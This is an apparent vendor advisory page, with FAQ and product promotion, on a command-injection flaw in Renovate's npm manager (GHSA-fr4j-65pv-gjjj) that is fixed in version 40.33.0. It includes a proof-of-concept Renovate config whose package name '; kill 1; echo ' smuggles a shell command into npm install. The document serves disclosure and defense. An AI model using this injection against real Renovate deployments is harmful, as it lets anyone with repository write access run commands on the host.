How severe is GHSA-fr4j-65pv-gjjj?

GHSA-fr4j-65pv-gjjj has a CVSS score of 6.7/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-fr4j-65pv-gjjj?

GHSA-fr4j-65pv-gjjj affects the following packages: renovate (npm). Ecosystems affected: npm.

How do I fix GHSA-fr4j-65pv-gjjj?

Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr4j-65pv-gjjj is resolved across your whole dependency graph.

How do I detect GHSA-fr4j-65pv-gjjj in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-fr4j-65pv-gjjj if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-fr4j-65pv-gjjj?

O3 pinpoints whether GHSA-fr4j-65pv-gjjj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-fr4j-65pv-gjjj actively exploited in the wild?

No public exploit code has been indexed for GHSA-fr4j-65pv-gjjj yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-fr4j-65pv-gjjj published, and has it been updated?

GHSA-fr4j-65pv-gjjj was published on January 13, 2026 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-fr4j-65pv-gjjj

MEDIUM

Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration

Published

Jan 13, 2026

Updated

Feb 3, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

📦renovate

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.

Details

Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.

PoC

Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["npm"],
      // Provide a command in the package name
      overridePackageName: "; kill 1; echo ",
      // Override the datasource to prevent a lookup failure
      overrideDatasource: "custom.always",
    },
  ],
}

package.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "dependencies": {
    "uuid": "^11.0.0"
  }
}

package-lock.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "renovate-aci-4",
      "version": "0.0.1",
      "dependencies": {
        "uuid": "^11.0.0"
      }
    },
    "node_modules/uuid": {
      "version": "11.0.0",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
      "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
      "funding": [
        "https://github.com/sponsors/broofa",
        "https://github.com/sponsors/ctavan"
      ],
      "license": "MIT",
      "bin": {
        "uuid": "dist/esm/bin/uuid"
      }
    }
  }
}

Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

[!NOTE] This specific proof of concept relies on the introduction of the overrideDatasource and overridePackageName configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`renovate`	≥ 35.63.0&&< 40.33.0	40.33.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr4j-65pv-gjjj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fr4j-65pv-gjjj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fr4j-65pv-gjjj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The user-provided string `packageName` in the `npm` manager is appended to the `npm install` command during lock maintenance without proper sanitization. ### Details Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the `updateCmd` variables in [lib/modules/manager/npm/post-update/npm.ts](https://github.com/renovatebot/renovate/blob/5bdaf47eebde770107017c47557bca41189db588/lib/modules/manager/npm/post-update/npm.ts) are not being escaped using

O3 Security · Impact-Aware SCA

Is GHSA-fr4j-65pv-gjjj in your dependencies?

O3 detects GHSA-fr4j-65pv-gjjj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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